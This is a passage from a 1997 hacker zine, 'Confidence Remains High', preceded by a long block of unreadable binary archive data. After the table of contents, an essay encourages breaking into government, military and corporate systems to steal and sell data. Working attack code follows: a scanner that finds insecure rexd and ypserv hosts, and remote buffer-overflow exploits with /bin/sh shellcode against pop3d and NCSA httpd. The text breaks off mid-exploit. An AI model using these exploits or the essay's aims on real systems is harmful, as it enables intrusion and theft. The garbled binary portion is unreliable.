V�'t(WHｒ糧�OsXez��>9/눣.a@�o卵�沔�-I㏂`,7*C%ㅟ틱푤f Od��M%Z<�萍 Ce踪빌Z뚤%{�D�瘙[�QM�>aO|뻹}O㎁Yo$(� 꺚첼겏졅에 1e씛�UuC퇽봼=�{ X뿇멦7텀�7쫪쩑ｊ� ,휻Sw�7뷝波v��L ≠a|祭!<央쳉x蠅;'뉋МDJDu�\� 6`<� 텡��P� # �틻�,_� 扼�r.Q4��8�:4�zU>홆[C8딎�$� +R�\Ip`:sT-馮T �끐1L쏪쓙[�r귆饒X쓤ah덜켅瓊�onE+�&+�뜷�)�琦齧�뼆Z퀍�꾰�JPQ먮�oJ틢C�P쫚�. �P�냃랡�1<;喬�F`Qc剃oa� �>9J�Q뫷&l꺛'됆츠�Ez�i[ek� &꿃�젧 �6If1쁥줈�I >볠뀱,>�Kqv?�\P� ���x哉O�56힛픸 땒섟섃�v_1�냨쵳K思>b홍U퇱�<`G~b孱A�^vy듑뱷� b+쮩뜯늙�~괱]��[뀝�`_�R났F걇S�㎙쭠|^쪡K�m&�^#�'�|]$�'Wd※�:좻 師틟g긹�i`;��2� �y풕\kVK��?s� 곒原J創�1露R��� I흱裙s7빍o뼌�*j�gO標7$�5�&�hp상騁린+�X� ]I�*뾏帽D[n 쑤q� &Sv�낎s E�[�m "�퓜�%�S=퐸�� �뙔쩺�Wi퇌�좊퀄륢횙쪩싲G�[璿9'-�D0뽡塔�A燒�F8ヰ0�#t꼺參풞G왎 Yu�)�u�� 鎌"o칫�0줠x�f��a�OT3V�� 텂\?NK�웥xt�;@騈q뀆E뢑ぼ�G�9m�쩎X�^-FA�Pk4롉PL귯F취�De[;CC�L듔2O��heP쒨呑Y�4�|~�'$�쎙잗S栽h胎��{U�{M�咫v)�En&筒�c륔늭(꽐sq� j�i�v�GL 췴''藥� 씗톌l첉E{{K�퇝�참#騷�Nh쿡4t즨wh!\�.6,.|UbCd�}뎖1�슞A埇�Q >졮쒁늚鷸�~渾a�L��넗 엮5Л�wO �P?�c=� x_t�(걯t���/춻)낐힎맖Y�e�^뙒2�b팥dF�{C #i� J乙Z V쮳貰 f停顔_N/�T폿���1;�)�껠�L�젥팜�8�c�Q�}:�A�SQ� �;�.귃a92&N= 핻�3틕�<�k�*R쨺쉍"遁,��!�C퉯r]z��O侈�Y쭰碁폖W썭QMU혛E╁�?I�D�n鉅D▲엤�꾎列�벃�&-%�싣]퐦_쳼a6YW@#�딅+�[! :^엺�S쐖�.��>顔 60l9�摺Bi껆E�G�f�쟼| �V옜쥒署숣�"벙눉��!��?HZN��|윙�7쵈w귞晥8g��IT뉶e�(dr���6씩娶�녲�'삏>뻸V�d쓱앋�t�3)�6證�3�o承uN��^a�0z�1B;뗎�\$�m�-O�%�<5�i�5겉�S뱵�c�,폓r%욂il헣t�{, O��~됏�쾱�=틅쀱�e�B`��2��닷����3픧w끀쯃h�MmK!희@뼫�!쵾Im#>�옱B涓G촨쫨₂�"�%驅��CN낲납1m��,d�TN┓넽y[�Uυ8�볂�\v7�씛� �0�w2!Z�%쎀/詛鏞芼��Uyn쭙녯*;�틒R쎔뢙풲���� K�>쬬軸mC�_萃E짬R6뮃傲bc�o�: 蔑쏥&熔�3� *c뱈?w 'j^ 팟每s*�|MF�&x窩�X標�`ⅰ꿖[쥇x^脇"$톢�=뒿Do�k!pj�[)��,�mQ6癩�u슾C꺸Z塏�`D걢�즔唐�#熊T폄A묰Ib�D礬LRQ�o3ガ�.�w쬵N#혾뱝쉄굖(�%C處ⓐ'�뮁젚m;톼R쩈���@�_ >�)�꼯廉� �s덥~-�`lCj교�&뾎#�sK�훈>t�꿉v�w蛤통얾쥱u� Lh�칓뙎v�`c�"��^깦妓뜶璵�{ o~!tx0�"�T2팀b螺�퍆K雜�긬%�l[��豊H(��� 儀렿�V갧붱�쏁鄧"�L> �ME�7l�HRj쬇�!� U왚-휬깇Q-�,w�=閘 媛atv�섀�Hf3�ㅓ���'�N신c� 괞각c�leK]�싫,)쬷S篩��!猿;繆듓쫔5y: tC似먹킎��;�3�"h璨HV�X4�Pv0棋꾉蘂�Q阪궂팴헍�V)�}!.OL�쇕�隸列r�e� 珞:;9��<�}��刻m�*럩� S�^P麵�%&효隸 PXvSZY쉱稙�:r��9R#^쬏�㏅\�뙑솺YE뭀�t�/xh�9M箚�,뼟욫a$�c蘿�"[42�x왎텆;�;_<�~刪퀣�m졷/丈 �&돛忍유륝릔$抄��m끐��h�},�F�I�cO쀣Vd悴{ �8B찉y�Ht쌦@0창U킁搖葺�=U츖�Kg�P�'씉�)0�Pn텂0�퐞�8벟 z}�[o��s��寐�%Y[[秕l@I���⒤1玗꼉�d밧�2�d9첵駕~튠徘뫄3|=`堉嶪1쟐!죻�0?[{{2v�nO吉j�@탊}�-'��}*h�|蛟윸|9췆�>PV�,�_N쩆>`w摺 H귫� �=��G�~2�4��3MLnp�줍L뒞祭�F뇮��報va쯮한�Fㅏ갢薏놥�¾{� ;�r�+馱�B.�S=Rp��쏯a較bK OB諂�mw{녳�慝�`笹n똮�댭�굵KBK�섮�9�MSz꼠-�뒽邨�A���|솒�7Q磊4熏��]+톄X'流g�SW좑覃뷏읎� ≡�|��I����랲��面�\쒊&죇}4�?� Z�*|k�膊喘 쁭媛�a�j럢梁�!齊n럩Q잾�=錠x扱라�1%�A詳�\ 퉕3�g�팴f�=섐胞z��/A想뛯읥맏�-탬�dL�\�m�_�벫/1,Zj턭띊� i��齋�E�A�겒��=儉쯒*��,|"핫尾[C�Ad吟�뢘0�F�밿e�M꽒Y�?X�k4粉鳶:q�먨-~P4e됈Z뀌mㅻ�^�|*e L�o:�,鋌왜pf�FaFA~읒끐 C� ��캙� $�60N��_PKRvG#킡�� WAREZ.ZIPuyUP�$ 줍=말{w�@ 줍=,nKp�떩�-Np]|콈�즈琿ゎ�눤솞슞숅褸쯰-UdB$ R�|(E*� 6�&� 惟�\�j>;묵 瀟:씻fS4'?盜c2j눺��,0�*�,�`\鍔휳뫀g能킑뵾mU풀�^熟p/뫀숓�뵻%r�|汐k� 꼣o�D텭6H�6[��"|s�(A:��w�샏A!�'�0킈@B셹�! )G,�;륽3쁓�� �Q��� � 렷L쀏@�拾〉管Ca╄�D<-븪嫁륌5RJ!楗칶퉿�L=탰3ワ릢]#sF�젠y8숧H뭴�5X�F9,C � 2똃+祥�}慂�?(꼾`삩��A欣�#PF0K+�6M�) 밹;壘덡e�뼒� �X��쟴�㉡粕{�W줓룸o�EI� Y嗚귫&i隅I�MF'뫓絳8%5�Wt^굪�.c�I�z�4껼��Q$c�\�%밼Z$Sk뎯댏��<�洞q)짃쳧��/�,qv��O0聿쯤:n혚j뺩꺷o�%x萸uGkgZ�'�랺쁐�^V�9�烈U螺껎�<욙�B�(y�N,�y嚴s뿑aH뿅�C "chB�;A徵즜埋4뿒7 獅絡7뚝깳肉積;;?칋@墓+�^r%슛읦q쯀4�펜＾냔l�FQ),K災Sh�3뵟2f頊}�:렏PFk>S�臺�O_糧D�W�y햨�w렗H뜢m�S�*K�/영��쪤궹�O${#�VQ?逼튺}x\(Zw�人�뎹 xw}p�\b�=�{x度=w6�!8q>}E� 殷� 汪옃꾄뺚R�벓虎z嶢$t<댿a�$툍]�X쳿빆깸k찇Y{떃�봝Nf떂Y댕�$ I?�'��%�~Y建V'C崇횖�믮w�'�v%\�]0엝툝 첥뵏꽕`�{� �`m9�DN(빴%�P튈�릱툯�C�q�pn^줙�_�d8珹U됻時斟��V槌뇇�&.`らUf油삣i깿�+:=M븼薑椀�� W�Z안^�{隣�q �e券$J��듞b m8� 쨖�9i뾶�jp�`��3} ���w�1�\릳�np퓈�<�3�K<멅stP�Ll�H8A�F�굒Z�뭩��r杷zDN"땉<�묱�� ��;u(�걿#�&'�[�q� ��&Iv뺅돬`옅쇛l�댖[胚� S�z샴�#쓞뻱멻�^낕鴻R뻙�곟讐瀝Q[풱� �a�K��>u"�홿嚆冥뛥꾜�댸J웚n3脩撒AO�!돇0玭芳;�W�N�jJc��^w멻~썤낝�0떣� fO���(m丙�vp쾭c�)랻�tG�옩텳WU뎜밿1o죥Wv�4롦�%�탘般��@C뙍臂뤕~魂��:��wc喉bN꾷닕�$V矩/ 혱敦끨슥�xAN]LZ+4?粟 �+갹$m�!n�:ㅮ津꼱T6 맴캤銜匍7텦�[�4��t턾�i�?뱱�T綻p�셮Z�믊읮첺�8뫒�T�덠5맖5��D柝�#3k�1왛h옔纛�뒑#=�(뛑탏�.%鍋�]흥�)옟�뤛쿜 �{텇.>;�_z뙈<�<펄R紈O뮱�d�G箋� do:{~�Q쥃0� 1윇_F� Xt閏�O툌�+0윳�믆x�-�롔)짌��T킃C㎊�?�毆 呱1즖�4�@Y�(n}켁,뽷핻��픾葉�죄晧礫 �MZ�q)�q뵰bj쫹P�땵U듪T�줬뤷H4M牟x솥\c?Ag�a뇌x�h �}떲幇� {-x�n쟼?�a�2�q c.F뵦磁3샘z롙햵^6TC姐;�냪c�윊琥�.r�v�*1�P옗|BZ꿳�n�컌荳킉갎읈�玘�슱�1췀��=+/��O逅)�:춡乙첟?|/誅B"�둱/�W┿9얝쯣wU펌X젠歷釉4q밽쵮�L꿃m휚뎯饅�U텖뫰죺がL뜺d[[듅�*�R틩��� 틉<땬��?�%塤뫟Xχ^uc�� 斗R넪QU�뺞,�陟0톍j錚XM�O�w쁬귈�\쫗�E�W 칣.NO럤뷅h힂濃A!~x�2떦В밧gn삮�W-7m┛,�!�J털Q�+��cb��숱뤹Й58C�Mv�@"t�歪�.폓H껎좛猪�0쁊i拈7H�<횕}!9U쭛5�Uj�`!퉋W物&c졢E�~쁬�F퉿'�`I�^i�Jc읇y豹�풯�}佛��=├솤� 츺늪躇�;捺N�a둼KS豚�눞��-C퓶 IHafU붦9� 먷�꿈G;젬�G~f쨅�3z8�륆/�'뜻憩 �^�P튿捧 헪�zk0=揄��D<쇃듰�9뙁hV)텛~@똿Eh_Z"��0x:T�픘露쁚TU譏 댘懋U":!=?*.-�*}�@�C��;���츣貪�Hw;�G� 坼검No恬죐��"�Z�� -�/\較�o覡�˘裂혣j�0М⒦燁㎫�;�B친��V��벪8四뒋�iI{�G�軍�낓=��M흙E�!�;z!쐿g:]K0Y웮)S�9L썯UL!}G쵆i0풾"�櫻�g앀윪料�5랑S�\TY?뷔d露샻겤L�06c�h흏澤�鼇맦h|뭱W튚>�뒅컣��디꺸n!L#껷u앷`@떉L를#p9��(-[돜�뉁� 竹�患�9W又;t�%�0띤.VI� �M뎂V"z�뇮L쉛�(�∥짆�棍~i��{�k�첸쉋�U:�"得'B�튇쟣rq퓄前쏽e|lg┒}�6�6�Y㎟�|션@���4눧혣��4�Ф�W.]%맥q� 륳zF�0�/ 堀놅��N#�4 L찒띂@奭wb�!�學 t^/鈒�$앎 랇屆 �oD'뷈zZ5:c �6 ��_M`꽿긤힃�뙮둫��Eㅻ��� �@Q�{핉� �*� 렘�4-坡�u.=fJkj�52*�{� �/Qke�' 古%팂�8H�+쓴.萬S(��~q����띶zH혔sN削�:;��>욗f �덇뚂 ㉰=-롃댈g릟丸1q*1꼭兩は똙W�b5꼇p��pC$3틊<��4pG�_횾�*A秊姻죄�f�u��끶멥rA쯋삻룙�z꼆{FC휀��E慙偃akLk|z�U=턡�9栽$"9%&� �0횰肅e�J�G�㏉s$�|컅幀�c謫폧낗]�*b롷G쬎膀톉�/q"_V" H�f�m#��!�)-뤭벩$�H7{x�,ギ事$��2Ax鷲nv,탺 �착愛� 똂ya·꿇V�윛嬉�漣R8렰 8-是V�2^�쐜7/�AbU\Mbq� %"ξc딚쬤�O�+��S紫�<�_-N�2>*�-墾륈K楨崧썂)�훪�켩貯�$擧톼 ��7B 鸚欣푩{�3i�6 G�eu} T뺤�'-�Y'W�N倭뽂幣�Q� � /@椒g퇭�~)�)�r墺愰t�\�<�?`��T�CJ?J.桑秀4鍛j4즸b┖Vj7�&足^텔 찗qtvE|?46뒵O叫1뼯 �뽚�拐긭YtF�긪z藉/�$0jv.簞3�:�� �웑6좵]�5꾿N�뇕췵�W>>6�XA���脇r~f�p]5L�뻨�,t�t�9M뒷�@� 볠첄J�뻾<�~特塼 ]慄8�0� ��윥뚗�녚m |M팻Hぎ糊9w푫s畏ミE줨|Q�iv[l렟�줂{�|퐠손�B�몉j�R��텩�$&#붗5fbOA�,梭敍"V封�g轎' )~OrXG@,'땩UBuX�ョ1t�y-`� 泰i��u諶�뛒윴�깾�F�1뉳컷�륉鈗]랝틜��요lv,q�^��)� 눱#?凉E�잷Z썥' "��#I]놖톋�|Kg;Q5;� Ef紫~발f�;3O_E뀝힠�(^A�W퓜쀛%�"TN$�-;�p�)�뀿3겄��w� L줹e<2�궤닗U임省壇떅!�$v��89@�0?�_H쑂V��@폥I삨.p첟捻謠E쇞냃G��퉗�솧N욗�96�5Q-턺�n�=x⑤e鱉�7?Zq혅춟M콊렗홑��p먛潛쥅裁m �EM젠8n�w)q重Kf+f�)N�럳삳 뭝8꽎��앜:Y갇�}K>�럂즅밺�%\gd욅�M�;■뻿�납"N聾쪪j�|�=�6샃d&��, 稗됉�k떤졋�~s~鋒p,&� __쏩秀A�M@�`ZfE♥�:�^�AS�깫깥b>뀔n�R�(\�'4륉U￥�&5#늤�)卜팤쑴뙵꼝a�列s便��I� 옴*�'糖�*斫:]쥮빙쳀 4��由y&7g�� 93TO꿉_똩 꾀L�\Cr(z�剽尤�?錐s牲稅j�뙫M譜f�m�[�9�v:��uL&�{�-�|�몶�귡r�HL룼�)h0�2긺�8YV�u7 쥃#쩵BA q�k�SI鷺'Z�W�5�'�=요 c�~癩�C6∧�.N튣款K4贇퉰왭꽐홍춉擬외�+h믌�뙲셗 쟫퉎�꿮A�$瓘鋸I醮D����뻢|춆Fm4hk�%х뎑��:oy삷�= h˘� �랤돛>I� 吻J qC�뚘츧�{Yh{��-!틿~hj���Ft]7S�]떒� �쪅熊잜瀕洽)虧戶�B윲�S"�!L7禮>�~�L}뉋{飜�у2nBa�s8츾��捉 窩거밺毁�At�Qa~졼%�!�숹뤏��>맢7�됑�Y�2�3�%퇮5촻N쓌픝u琓~x펴ZV_�싎|9咆p�-�~G�7`$9쬛��5w剿d=넕�|%h證a�^�劉g_��푨%㈌쫕�#彙癌'꿕냧7qZXE�拱kn|`쯁iy1a\{祛풕�1\與渡圻�=�.hg'F�-%ha즋.��vTc솽r��Y7X �QИ]=㎲넹u隷�e去#흢þ�]i[텹5QĦ�!�3R1u�\�[2-]웉Ne�W劉P�艙]칁띢�W혥r졠1W+Z8S� 얍,#境룆�*祠よ�c' 갚쫧,�q鬼酪노Zu쥬V�#Ux癒벿항y豈#A�o븰�Ue栖煐U�"8 �T뛛痢陋챹k퍱왠�W�L&B㉢댽�퓪j霞h�뾄 뿭ｑ밼l�jC�%�旁끤�U^슏E�X#fD b�]똕]���*LY�/`얕d�2쇭련듙�于꼙�a샬뭝{~E荏lr�B%2뮊��&�]쏙'銷A收댿줆:nV�]몸=汎�{謗�� 篠��뼑�~�=Eq텺�s�떼G��>BO�둷ｃ�U흨��=�?�m 帑�|A乷렅AB���뷫� �Mrm�A왰始拘P觸틄tm~�[栒톯略�\jJ^�g?p틴^씸松�쟥컩볿뷫PW�궍�6캣끲뿷탁��.@s�띌脘～懿릌�nR6o찰娠2 쀹 5픆R<쫩k�{똷�Jr^��}d��훳됗 �X프8�$|F뤽HQ죈族圖�r�믪qH7>�7q�e效ENゐS푢뻅햡� {V�3\쌷躬툽b0��Gⅶ궪읈曜.짫tI�p-�C덴�i�윜욭XM�8>朞톪訪&�b�;�r�⑾��Я憎'죮剡�m� O칧쁶돿 c뱚�ΥD�/Qv��쌨[B(�)궎퐱 �_D\뛎T)"�즱.�7k�W�RV엛盂]D&z겍?�렼滉$�#5⑵믄�_Of.G�E칅P�c띱c봜IG뗬馳;��C�RED輸��r� ��Tk��곁�'����_T���뒿TQ拉틽�O:��'P嚆�PK2 쯶G#/y�뾱 턿crh666.txtPK2 �A#'�Q H1p1 턿>�Shokdial.tgzPKRvG#킡�� 갤WAREZ.ZIPPK�開crhsum97.txt100644 1751 12 167101 6361315732 10771 0ustar wheel컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .oO The CodeZero Oo. .oO Presents Oo. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Welcome to the special summer editon of... /IIIIIIIIII /IIIIIIIIII /III /III \ III_____/ \ III___/III \ III \ III \ III \ III \ III \ III \_III \ III onfidence \ IIIIIIII emains \ IIIIIIIIII igh \ III \ III__/III \ III__/ III \ III \ III \ III \ III \ III \ IIIIIIIIII ___ \ III \ III ___ \ III \ III ___ \_________/ /\__\ \__/ \__/ /\__\ \__/ \__/ /\__\ \/__/ \/__/ \/__/ Summer 1997. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� CRH Editor : Tetsu Khan Official CRH Kung-Fu Film : Turf On A Rope Official CRH Pimp : so1o Official CRH Spic With A Red Hat : xFli Official CRH T-Shirt Supplier : NightRage Official CRH Visual Basic Coder : \\StOrM\\ aka Jason Sloderbeck Official CRH Print Brother : Digital Darkness 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .-----------[ An Official ]-----------. : .-----. .----. .--.--. : : : .--' : .-. : : : : : !_-:: : : : `-' ; : . : ::-_! :~-:: :: : :: . : :: : ::-~: : ::.`--. ::.: : ::.: : : : `-----' `--'--' `--'--' : !_-:: ::-_! :~-::-[ Confidence Remains High ]-::-~: :~-:: ::-~: `-----------[ Production ]------------' 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� In This "Added Exploits" Issue : 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -----=> Section A : Introduction And Cover Story. 1. Confidence Remains High special summer edition.....: Tetsu Khan 2. The network is our playground......................: so1o -----=> Section B : Exploits And Code. 1. RPC-Check.sh.......................................: yo 2. Linux pop3 remote exploit..........................: Savage 3. Linux HTTPD 1.3 remote.............................: Savage 4. Telnet gateway.....................................: Chaos 5. 0wned.c............................................: so1o 6. Cxterm exploit for Linux...........................: Ming Zhang 7. The king of all sniffers : esniff.c................: unknown 8. Linux nlspath exploit..............................: Solar Designer -----=> Section C : Phones / Scanning / Radio. 1. How to fuck over a UK payphone.....................: so1o / NightRage 2. Radio link for TI-85 calculators...................: Michael Jan -----=> Section D : Miscellaneous. 1. Test-cgi holes.....................................: so1o 2. Tree raping........................................: digitalboy [DD] 3. .htpasswd + .htaccess..............................: Cain [DD] 4. Simple NFS skills..................................: Cain [DD] -----=> Section E : World News. 1. LOPHT.COM..........................................: so1o 2. AAA Report.........................................: so1o 3. Lamer of the fucking year : pSId (DALnet)..........: so1o ------=> Section F : Projects. 1. STiK...............................................: mstrhelix -----=> Section G : The End. (+ Personal Column) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Confidence Remains High Issue 4 : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Issue 4 will be out at the beginning of September, so to last you through the long hot summer nights, we present the special summer issue of Confidence Remains High. Nothing really new in this edition, just a few programs to keep you thinking through the summer, as well as some cool submissions by members of Digital Darkness. But when you bundle this with CRH issue 3, it becomes cool :) Confidence Remains High distro site list... ------------------------------------------- http://insecurity.insecurity.org/codez/ http://www.r0ot.org http://www.exceed.net http://www.7thsphere.com/hpvac/hacking.html ftp://ftp.sekurity.org/users/so1o/ ...And alot of other sites, just go looking around. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. The network is our playground : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Just sit back for a few minutes and consider how much power we have as hackers, from our Linux boxes, or Wind0ze systems, we can connect to many thousands of Government or Military sites, as well as company networks where useful information such as credit card details can easily be found, all we need is the knowledge of holes in such systems, the means to exploit these holes, and the skills needed to "root" the system, thats all it takes. In 15 minutes, a hacker could 0wn many important NASA systems, and then proceed to pull the following types of files from such a system... - Personnel information. - Mission reports and test results. - Satellite programs and information. - Future mission dates. Or say it was a military system, then that hacker, if he knew what he was doing would be able to gain access (with relative ease) to the following kinds of files... - Personnel information. - Weapons reports. - Tactical analysis. - Future mission dates. - Intelligence papers. Lets say that a hacker was to attack a company, such as Intel, then he would be able to access... - Product test results. - Internal mail between users. - Future plans or products. - Blueprints. ... then that hacker could sell off that companies research and development reports to others, and make some ca$h. It is clear to see, that from the power we have by just owning a computer and a modem is quite huge in the right hands, and that it is pretty simple to go out and find yourself some classified information if you really want to. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. RPC-Check.sh : yo 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� #!/bin/sh #rpc.chk 1.0 # # Make sure you have got a newer version of Bourne Shell (SVR2 or newer) # that supports functions. It's usually located in /bin/sh5 (under ULTRIX OS) # or /bin/sh (Sun OS, RS/6000 etc) If it's located elsewhere, feel free to # change the magic number, indicating the type of executable Bourne Shell. # # The script obtains via nslookup utility a list of hostnames from a nameserver # and checks every entry of the list for active rexd procedures as well as # ypserver procedures. The output is a list of the sites that run those # daemons and are insecure. # -yo. domainname=$1 umask 022 PATH=/bin:/usr/bin:/usr/ucb:/usr/etc:/usr/local/bin ; export PATH # # Function collects a list of sites # from a nameserver. Make sure you've got the nslookup utility. # get_list() { ( echo set type=ns echo $domainname ) | nslookup | egrep "nameserv" | cut -d= -f2> .tmp$$ 2>/dev/null if [ ! -s .tmp$$ ]; then echo "No such domain" >&2 echo "Nothing to scan" >&2 exit 1 fi for serv in `cat .tmp$$`;do ( echo server $serv echo ls $domainname ) | nslookup > .file$$ 2>/dev/null lines=`cat .file$$ | wc -l` tail -`expr $lines - 7` .file$$ | cut -d" " -f2 > .file.tmp # .file sed -e "s/$/.$domainname/" .file.tmp > .hosts$$ rm -rf .file* .tmp$$ sort .hosts$$ | uniq -q >> HOSTS$$; rm -rf .hosts$$ done tr 'A-Z' 'a-z' HOSTS.$domainname;rm -rf HOSTS$$ } # Function rpc_calls() { for entry in `cat HOSTS.$domainname`; do ( rpcinfo -t $entry ypserv >/dev/null && echo $entry runs YPSERV || exit 1 # Error! ) >> .log 2>/dev/null ( rpcinfo -t $entry rex >/dev/null && echo $entry runs REXD || exit 1 # Error ! ) >> .log 2>/dev/null done } # Main if [ "$domainname" = '' ]; then echo "Usage $0 domainname" >&2 exit 1 fi get_list echo "Checking $domainname domain" > .log echo "*****************************" >> .log echo "Totally `cat HOSTS.$domainname | wc -l` sites to scan" >> .log echo "******************************" >> .log echo "started at `date`" >> .log echo "******************************" >> .log rpc_calls echo "******************************" >> .log echo "finished at `date`" >> .log 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Linux pop3 remote exploit : Savage 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* * pop3d Linux/intel remote xploit by savage@apostols.org 1997-April-05 * * workz fine against old pop3d distributed with pine. * * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of ToXyn !!! * * usage: * $ (imap 0; cat) | nc victim 143 * | * +--> usually from -100 to 100 */ #include char shell[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88" "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e" "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xe8\xc0\xff\xff\xff/bin/sh"; char username[1024+255]; void main(int argc, char *argv[]) { int i,a; long val; if(argc>1) a=atoi(argv[1]); else a=0; strcpy(username,shell); for(i=strlen(username);i> 8; username[i+2] = (val & 0x00ff0000) >> 16; username[i+3] = (val & 0xff000000) >> 24; } username[ sizeof(username)-1 ] = 0; printf("USER %s\nPASS Yoshemite\n", username); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Linux HTTPD 1.3 remote : Savage 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* * NCSA 1.3 Linux/intel remote xploit by savage@apostols.org 1997-April-23 * * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore,EDevil and the rest of ToXyn !!! * * usage: * $ (hackttpd 0; cat) | nc victim 143 * | * +--> usually from -1000 to 1000 (try steeps of 100) */ #include unsigned char shell[] = { '/',0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90, 0xeb,0x27,0x5e,0x31,0xed,0x31,0xc9,0x31,0xc0,0x88,0x6e,6,0x89,0xf3,0x89,0x76, 0x24,0x89,0x6e,0x28,0x8d,0x6e,0x24,0x89,0xe9,0x8d,0x6e,0x28,0x89,0xea,0xb0,0x0b, 0xcd,0x80,0x31,0xdb,0x89,0xd8,0x40,0xcd,0x80,0xe8,0xd4,0xff,0xff,0xff, 'b','i','n','/','s','h' }; char username[256+8]; void main(int 